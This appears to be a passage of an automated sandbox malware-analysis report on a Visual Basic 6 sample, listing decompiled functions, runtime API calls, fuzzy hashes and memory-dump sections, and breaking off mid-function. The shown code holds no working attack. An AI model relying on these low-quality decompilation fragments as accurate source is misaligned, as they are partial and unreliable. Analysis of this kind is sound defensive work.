Opcode Fuzzy Hash: 899f88996e62988197f70b28ac8fe2fba82cc2ea73305debac50e6c58d0c5806
Instruction Fuzzy Hash: 55611EB1900249EFDB04DFA5DD88AEEFBB9FF58300F10415AE506A7260DB745985CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041C490, Relevance: 24.2, APIs: 16, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0041EF00: __vbaRedim.MSVBVM60(00000880,00000010,?,0000000C,00000001,-00000001,00000000,?,00000000,00000000,72A1A274), ref: 0041EF69
Part of subcall function 0041EF00: __vbaNew2.MSVBVM60(0040B83C,?), ref: 0041EF7E
Part of subcall function 0041EF00: __vbaObjSetAddref.MSVBVM60(?), ref: 0041EF8B
Part of subcall function 0041EF00: __vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041EFB6
Part of subcall function 0041EF00: __vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041EFCB
Part of subcall function 0041EF00: __vbaFreeVar.MSVBVM60 ref: 0041EFD7
Part of subcall function 0041EF00: __vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041F001

__vbaObjSet.MSVBVM60(?,00000000), ref: 0041C4FC
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000001E8), ref: 0041C51F
__vbaFreeObj.MSVBVM60 ref: 0041C528
__vbaVarForInit.MSVBVM60(?,?,?,?,?,?), ref: 0041C56C
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041C588
__vbaI4Var.MSVBVM60(?), ref: 0041C5AF
__vbaGenerateBoundsError.MSVBVM60 ref: 0041C5C6
__vbaGenerateBoundsError.MSVBVM60 ref: 0041C5D3
__vbaStrVarVal.MSVBVM60(?,00401D26), ref: 0041C604
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004110D8,000001EC), ref: 0041C624
__vbaFreeStr.MSVBVM60 ref: 0041C62D
__vbaFreeObj.MSVBVM60 ref: 0041C636
__vbaVarForNext.MSVBVM60(?,?,?), ref: 0041C64B

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$BoundsErrorGenerate$AddrefInitNew2NextRedimText
String ID:
API String ID: 3227237787-0
Opcode ID: 21ef237a613bf7da8c69d732572fa9a2c50ea11843046ceb4d1ebfe4f7b7f9f3
Instruction ID: 783ad02440414d3d6f1bec500050ec52a1cc75d5921ed22cab52173475bd86b6
Opcode Fuzzy Hash: 21ef237a613bf7da8c69d732572fa9a2c50ea11843046ceb4d1ebfe4f7b7f9f3
Instruction Fuzzy Hash: E5512CB1900259EFDB14DFA4DD88AEEBBB9FF48300F108169E506E7250EB74A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00423A30, Relevance: 21.2, APIs: 14, Instructions: 175COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(004104D8,0042AA34,?,?,72A46AEE,00000000,?), ref: 00423AB9
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000048), ref: 00423AEC
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 00423B08
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000048), ref: 00423B35
__vbaI4Str.MSVBVM60(?), ref: 00423B44
__vbaI4Str.MSVBVM60(?,00000000), ref: 00423B4E
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,00000000), ref: 00423B76

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresultNew2$FreeList
String ID:
API String ID: 1549294082-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 0fe2451bce0b723a07b1f93d9cac36706b57eef32be5b28af73380462c7e1869
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: 9D51F670740228ABDB208F15DE46FEAB778EF54702F404096FA08B7190D6BC5E85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004187F0, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E004187F0(void* __ebx, void* __edi, void* __esi, void* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* _v40;
				intOrPtr _v44;
				char* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				short _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v92;
				intOrPtr _t59;
				intOrPtr* _t61;
				intOrPtr _t63;
				short _t65;
				void* _t93;
				void* _t95;
				intOrPtr* _t96;

				_t96 = _t95 - 0x18;
				 *[fs:0x0] = _t96;
				L00401D20();
				_v28 = _t96;
				_v24 = 0x401558;
				_v20 = 0;
				_v16 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t93);
				_v8 = 1;
				__imp____vbaStrCopy();
				_v8 = 2;
				__imp____vbaOnError(0xffffffff);
				_v8 = 3;
				__imp____vbaStrCopy();
				_v8 = 4;
				_t59 = _a4;
				if( *((intOrPtr*)(_t59 + 0x70)) != 0) {
					_v8 = 5;
					__imp____vbaLenBstr( *((intOrPtr*)(_a4 + 0x54)));
					if(_t59 == 0) {
						_v8 = 8;
						_v64 = 0;
						E0040F5DC();
						__imp____vbaSetSystemError( *((intOrPtr*)(_a4 + 0x70)), 0xcc, 0,  &_v64);
					} else {
						_v8 = 6;
						_t65 = _a4;
						__imp__#516( *((intOrPtr*)(_t65 + 0x54)));
						_v60 = _t65;
						_v64 = 0;
						E0040F5DC();
						__imp____vbaSetSystemError( *((intOrPtr*)(_a4 + 0x70)), 0xcc, _v60,  &_v64);
					}
				}
				_v8 = 0xb;
				_v48 = L"PasswordChar";
				_v56 = 8;
				L00401D20();
				_t61 = _t96;
				 *_t61 = _v56;
				 *((intOrPtr*)(_t61 + 4)) = _v52;
				 *(_t61 + 8) = _v48;
				 *((intOrPtr*)(_t61 + 0xc)) = _v44;
				_t63 =  *((intOrPtr*)( *_a4 + 0x390))(_a4);
				asm("fclex");
				_v68 = _t63;
				if(_v68 >= 0) {
					_v92 = 0;
				} else {
					_t63 = _a4;
					__imp____vbaHresultCheckObj(_v68, _t63, 0x40f430, 0x390);
					_v92 = _t63;
				}
				__imp____vbaFreeStr(0x41898f);
				return _t63;
			}

0x004187f3
0x00418802
0x0041880e
0x00418816
0x00418819
0x00418820
0x00418827
0x00418837
0x0041883a
0x00418847
0x0041884d
0x00418856
0x0041885c
0x0041886c
0x00418872
0x00418879
0x00418880
0x00418886
0x00418894
0x0041889c
0x004188df
0x004188e6
0x004188ff
0x00418904
0x0041889e
0x0041889e
0x004188a5
0x004188ac
0x004188b2
0x004188b6
0x004188d2
0x004188d7
0x004188d7
0x0041889c
0x0041890a
0x00418911
0x00418918
0x00418924
0x00418929
0x0041892e
0x00418933
0x00418939
0x0041893f
0x0041894b
0x00418951
0x00418953
0x0041895a
0x00418979
0x0041895c
0x00418966
0x0041896e
0x00418974
0x00418974
0x00418988
0x0041898e

APIs

__vbaChkstk.MSVBVM60(?,00401D26), ref: 0041880E
__vbaStrCopy.MSVBVM60(?,?,?,?,00401D26), ref: 00418847
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,00401D26), ref: 00418856
__vbaStrCopy.MSVBVM60(?,?,?,?,00401D26), ref: 0041886C
__vbaLenBstr.MSVBVM60(?), ref: 00418894
#516.MSVBVM60(?), ref: 004188AC
__vbaSetSystemError.MSVBVM60(00000000,000000CC,?,00000000), ref: 004188D7
__vbaSetSystemError.MSVBVM60(00000000,000000CC,00000000,00000000), ref: 00418904
__vbaChkstk.MSVBVM60 ref: 00418924
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F430,00000390), ref: 0041896E
__vbaFreeStr.MSVBVM60(0041898F), ref: 00418988

Strings

PasswordChar, xrefs: 00418911

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Error$ChkstkCopySystem$#516BstrCheckFreeHresult
String ID: PasswordChar
API String ID: 767474922-4263504495
Opcode ID: 17ca0a96e64a1b5c62d453681d4e3af68561ba07f5b18bf80779097b4e8d2918
Instruction ID: 779765b95c1925624557bf2a055067721e34559cc8402dc6b104e5801139ceda
Opcode Fuzzy Hash: 17ca0a96e64a1b5c62d453681d4e3af68561ba07f5b18bf80779097b4e8d2918
Instruction Fuzzy Hash: DA51C6B4900208EFDB04DF94C988BEEBBB5FF48704F108169E515AB3A0CB799A45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041DC50, Relevance: 18.1, APIs: 12, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0041DB10: __vbaNew2.MSVBVM60(0040B730,00000000,00000000,00000000,?), ref: 0041DB5C
Part of subcall function 0041DB10: __vbaObjSetAddref.MSVBVM60(?,?,00000000,00000000,?), ref: 0041DB69
Part of subcall function 0041DB10: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041DB94
Part of subcall function 0041DB10: __vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041DBA1
Part of subcall function 0041DB10: __vbaFreeVar.MSVBVM60 ref: 0041DBAC
Part of subcall function 0041DB10: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000024), ref: 0041DBE1
Part of subcall function 0041DB10: __vbaObjSet.MSVBVM60(?,?), ref: 0041DBEE
Part of subcall function 0041DB10: __vbaFreeObj.MSVBVM60(0041DC27), ref: 0041DC20

__vbaRedim.MSVBVM60(00000880,00000010,?,0000000C,00000001,-00000001,00000000,?,00000000,00000000,72A1A274), ref: 0041DCB9
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041DCCE
__vbaObjSetAddref.MSVBVM60(?), ref: 0041DCDB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041DD06
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041DD1B
__vbaFreeVar.MSVBVM60 ref: 0041DD27
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041DD51
__vbaGenerateBoundsError.MSVBVM60 ref: 0041DD74
__vbaGenerateBoundsError.MSVBVM60 ref: 0041DD81
__vbaVarMove.MSVBVM60 ref: 0041DD94
__vbaFreeVar.MSVBVM60 ref: 0041DD9D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000024), ref: 0041DDC7
__vbaObjSet.MSVBVM60(?,?), ref: 0041DDDC
__vbaErase.MSVBVM60(00000000,?,?,00000000,00000000,72A1A274), ref: 0041DDEC
__vbaFreeObj.MSVBVM60(0041DE20), ref: 0041DE19
__vbaErrorOverflow.MSVBVM60(?,00000000,00000000,72A1A274), ref: 0041DE36

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Error$AddrefBoundsGenerateNew2Text$EraseMoveOverflowRedim
String ID:
API String ID: 504347678-0
Opcode ID: 48e808211b2ece66a89fc9500f0560853026e4968efcd41fec2109b93d23f16d
Instruction ID: 854498418e14e9ee3c0fc25b9085136d71577cca2ed3780dbbf1bf8355da2cb2
Opcode Fuzzy Hash: 48e808211b2ece66a89fc9500f0560853026e4968efcd41fec2109b93d23f16d
Instruction Fuzzy Hash: BB5171B0E00219AFDB14DFA4DD88EEEB7B9FF88705F008119F555AB2A0D7789845CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041E590, Relevance: 18.1, APIs: 12, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0041E450: __vbaNew2.MSVBVM60(0040B730,?,00000000,?,00401668), ref: 0041E49C
Part of subcall function 0041E450: __vbaObjSetAddref.MSVBVM60(?,00000000,00000000,?,00401668), ref: 0041E4A9
Part of subcall function 0041E450: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041E4D4
Part of subcall function 0041E450: __vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041E4E1
Part of subcall function 0041E450: __vbaFreeVar.MSVBVM60 ref: 0041E4EC
Part of subcall function 0041E450: __vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000024), ref: 0041E521
Part of subcall function 0041E450: __vbaObjSet.MSVBVM60(?,?), ref: 0041E52E
Part of subcall function 0041E450: __vbaFreeObj.MSVBVM60(0041E567), ref: 0041E560

__vbaRedim.MSVBVM60(00000880,00000010,?,0000000C,00000001,-00000001,00000000,?,00000000,00000000,72A1A274), ref: 0041E5F9
__vbaNew2.MSVBVM60(0040B730,?), ref: 0041E60E
__vbaObjSetAddref.MSVBVM60(?), ref: 0041E61B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041E646
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041E65B
__vbaFreeVar.MSVBVM60 ref: 0041E667
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041E691
__vbaGenerateBoundsError.MSVBVM60 ref: 0041E6B4
__vbaGenerateBoundsError.MSVBVM60 ref: 0041E6C1
__vbaVarMove.MSVBVM60 ref: 0041E6D4
__vbaFreeVar.MSVBVM60 ref: 0041E6DD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000024), ref: 0041E707
__vbaObjSet.MSVBVM60(?,?), ref: 0041E71C
__vbaErase.MSVBVM60(00000000,?,?,00000000,00000000,72A1A274), ref: 0041E72C
__vbaFreeObj.MSVBVM60(0041E760), ref: 0041E759
__vbaErrorOverflow.MSVBVM60(?,00000000,00000000,72A1A274), ref: 0041E776

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Error$AddrefBoundsGenerateNew2Text$EraseMoveOverflowRedim
String ID:
API String ID: 504347678-0
Opcode ID: 25a1c3befd997c7e03a07d7e53f24812b5889649f90fca6093263f934ed64c0d
Instruction ID: 8d8a322bf0015829083212b0257836bc7f1c301babde4db3d53e1b8fcbf7065c
Opcode Fuzzy Hash: 25a1c3befd997c7e03a07d7e53f24812b5889649f90fca6093263f934ed64c0d
Instruction Fuzzy Hash: D0519674A00219AFDB14DF95CD89EEEBBB9FF58705F004119FA01A72A0D774A885CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF00, Relevance: 18.1, APIs: 12, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0041EDC0: __vbaNew2.MSVBVM60(0040B83C,?,00000000,?,?), ref: 0041EE0C
Part of subcall function 0041EDC0: __vbaObjSetAddref.MSVBVM60(?,?,00000000,?,?), ref: 0041EE19
Part of subcall function 0041EDC0: __vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041EE44
Part of subcall function 0041EDC0: __vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041EE51
Part of subcall function 0041EDC0: __vbaFreeVar.MSVBVM60 ref: 0041EE5C
Part of subcall function 0041EDC0: __vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000028), ref: 0041EE91
Part of subcall function 0041EDC0: __vbaObjSet.MSVBVM60(?,?), ref: 0041EE9E
Part of subcall function 0041EDC0: __vbaFreeObj.MSVBVM60(0041EED7), ref: 0041EED0

__vbaRedim.MSVBVM60(00000880,00000010,?,0000000C,00000001,-00000001,00000000,?,00000000,00000000,72A1A274), ref: 0041EF69
__vbaNew2.MSVBVM60(0040B83C,?), ref: 0041EF7E
__vbaObjSetAddref.MSVBVM60(?), ref: 0041EF8B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041EFB6
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041EFCB
__vbaFreeVar.MSVBVM60 ref: 0041EFD7
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041F001
__vbaGenerateBoundsError.MSVBVM60 ref: 0041F024
__vbaGenerateBoundsError.MSVBVM60 ref: 0041F031
__vbaVarMove.MSVBVM60 ref: 0041F044
__vbaFreeVar.MSVBVM60 ref: 0041F04D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000028), ref: 0041F077
__vbaObjSet.MSVBVM60(?,?), ref: 0041F08C
__vbaErase.MSVBVM60(00000000,?,?,00000000,00000000,72A1A274), ref: 0041F09C
__vbaFreeObj.MSVBVM60(0041F0D0), ref: 0041F0C9
__vbaErrorOverflow.MSVBVM60(?,00000000,00000000,72A1A274), ref: 0041F0E6

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Error$AddrefBoundsGenerateNew2Text$EraseMoveOverflowRedim
String ID:
API String ID: 504347678-0
Opcode ID: c0e263ebe6c96ca4a770220e6563f5187304d2d2e5baecf2686758a9dcf6c76c
Instruction ID: e24812112e04b45a5ba54ce6e2ee454485eb8960c8ac5a87c6d8bf6bc291ae3f
Opcode Fuzzy Hash: c0e263ebe6c96ca4a770220e6563f5187304d2d2e5baecf2686758a9dcf6c76c
Instruction Fuzzy Hash: C4517274A00219AFDB14DF95CD48EEEBBB8FF48704F008119F951E72A1D778A846CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041F1A0, Relevance: 16.6, APIs: 11, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041F1FB
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041F20C
__vbaFreeVar.MSVBVM60 ref: 0041F217
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0041124C,00000028), ref: 0041F23D
__vbaObjSet.MSVBVM60(?,?), ref: 0041F254
__vbaFreeObj.MSVBVM60(?,?), ref: 0041F266
__vbaFreeVar.MSVBVM60 ref: 0041F26F
__vbaCastObj.MSVBVM60(00000000,0041124C), ref: 0041F27B
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0041F283
__vbaCastObj.MSVBVM60(00000000,0041124C), ref: 0041F292
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0041F29A

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CastCheckHresult$Text
String ID:
API String ID: 487687974-0
Opcode ID: a4fe69aefbc4864d75cfec748256471c64bd308027906ef8e81739ba6c92d51e
Instruction ID: f954da8628ce93caaaefef3ca969f1f44cfc29d794eb5d758d5a8779969d0332
Opcode Fuzzy Hash: a4fe69aefbc4864d75cfec748256471c64bd308027906ef8e81739ba6c92d51e
Instruction Fuzzy Hash: 65312D75D00208ABCB049F95DD89DEEBBB8EF58700B10815AF511F71A1D7786946CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0041E210, Relevance: 16.6, APIs: 11, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041E26B
__vbaVarTextTstNe.MSVBVM60(?,?), ref: 0041E27C
__vbaFreeVar.MSVBVM60 ref: 0041E287
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00411158,00000024), ref: 0041E2AD
__vbaObjSet.MSVBVM60(?,?), ref: 0041E2C4
__vbaFreeObj.MSVBVM60(?,?), ref: 0041E2D6
__vbaFreeVar.MSVBVM60 ref: 0041E2DF
__vbaCastObj.MSVBVM60(00000000,00411158), ref: 0041E2EB
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0041E2F3
__vbaCastObj.MSVBVM60(00000000,00411158), ref: 0041E302
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0041E30A

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CastCheckHresult$Text
String ID:
API String ID: 487687974-0
Opcode ID: 2c01fdd9468ded3a79b0bbbf3a1152e3a084904c1e8a70a199185aff6e3e5529
Instruction ID: 4201e1f4fb133b764ed51ee68f79bda269d9589fa57d42cf3489bc47036d5ddb
Opcode Fuzzy Hash: 2c01fdd9468ded3a79b0bbbf3a1152e3a084904c1e8a70a199185aff6e3e5529
Instruction Fuzzy Hash: 57314B75D40208ABCB04DFA6DD899EEBBBCEF58700B10801AFA12B7260D7785945CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00424480, Relevance: 16.6, APIs: 11, Instructions: 62COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000,72A1A274), ref: 004244C0
#537.MSVBVM60(00000022), ref: 004244CE
__vbaStrMove.MSVBVM60 ref: 004244DB
__vbaStrCat.MSVBVM60(?,00000000), ref: 004244E8
__vbaStrMove.MSVBVM60 ref: 004244EF
#537.MSVBVM60(00000022,00000000), ref: 004244F4
__vbaStrMove.MSVBVM60 ref: 004244FB
__vbaStrCat.MSVBVM60(00000000), ref: 004244FE
__vbaStrMove.MSVBVM60 ref: 00424505
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00424515
__vbaFreeStr.MSVBVM60(00424556), ref: 0042454F

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Move$#537Free$CopyList
String ID:
API String ID: 1274409727-0
Opcode ID: 5f7312e8f01affa2c88811be5faa8aa1fa9f33ac8247d51851b76aa7fbad4ad8
Instruction ID: f493d40b7015ae32eb3e41f5dc42a2e48cf5a5ac9014bc306b0c70572c1fd617
Opcode Fuzzy Hash: 5f7312e8f01affa2c88811be5faa8aa1fa9f33ac8247d51851b76aa7fbad4ad8
Instruction Fuzzy Hash: D2112E71D00208AFCB00EFA4DD45AEEBBB8EF5C700F10402AE505F7260EA746905CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418640, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041868C
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041869F
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004186A8
__vbaSetSystemError.MSVBVM60(00080009,0000000C,00000000,00000000), ref: 004186BE
__vbaStrToUnicode.MSVBVM60(004015A0,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004186C9
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004186D8
__vbaHresultCheckObj.MSVBVM60(00000000,00401538,0040F430,00000390), ref: 00418719
__vbaFreeStr.MSVBVM60(0041873A,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418733

Strings

Text, xrefs: 004186EA

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CopyFree$AnsiCheckErrorHresultSystemUnicode
String ID: Text
API String ID: 706850715-2612594937
Opcode ID: dce327fcc03a66a133f3cfaa2aa545bcfa7c086e13176e0a16847a1dd296753c
Instruction ID: 11358420491c432dafd8a14dd56769f386c4476c9d9c733996ee30f45fde3063
Opcode Fuzzy Hash: dce327fcc03a66a133f3cfaa2aa545bcfa7c086e13176e0a16847a1dd296753c
Instruction Fuzzy Hash: 1D313E74900205AFCB04DF69C949AAEFBB8FF58700F10852EE555A7690DB78A445CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00416890, Relevance: 15.1, APIs: 10, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00416890(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				char _v28;
				intOrPtr _v32;
				void* _t39;
				intOrPtr* _t41;
				void* _t42;
				intOrPtr _t43;
				intOrPtr* _t49;
				intOrPtr _t51;
				intOrPtr* _t58;
				intOrPtr* _t59;
				intOrPtr* _t60;
				intOrPtr* _t79;
				intOrPtr* _t80;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr _t86;

				_t86 = _t85 - 8;
				_push(0x401d26);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t86;
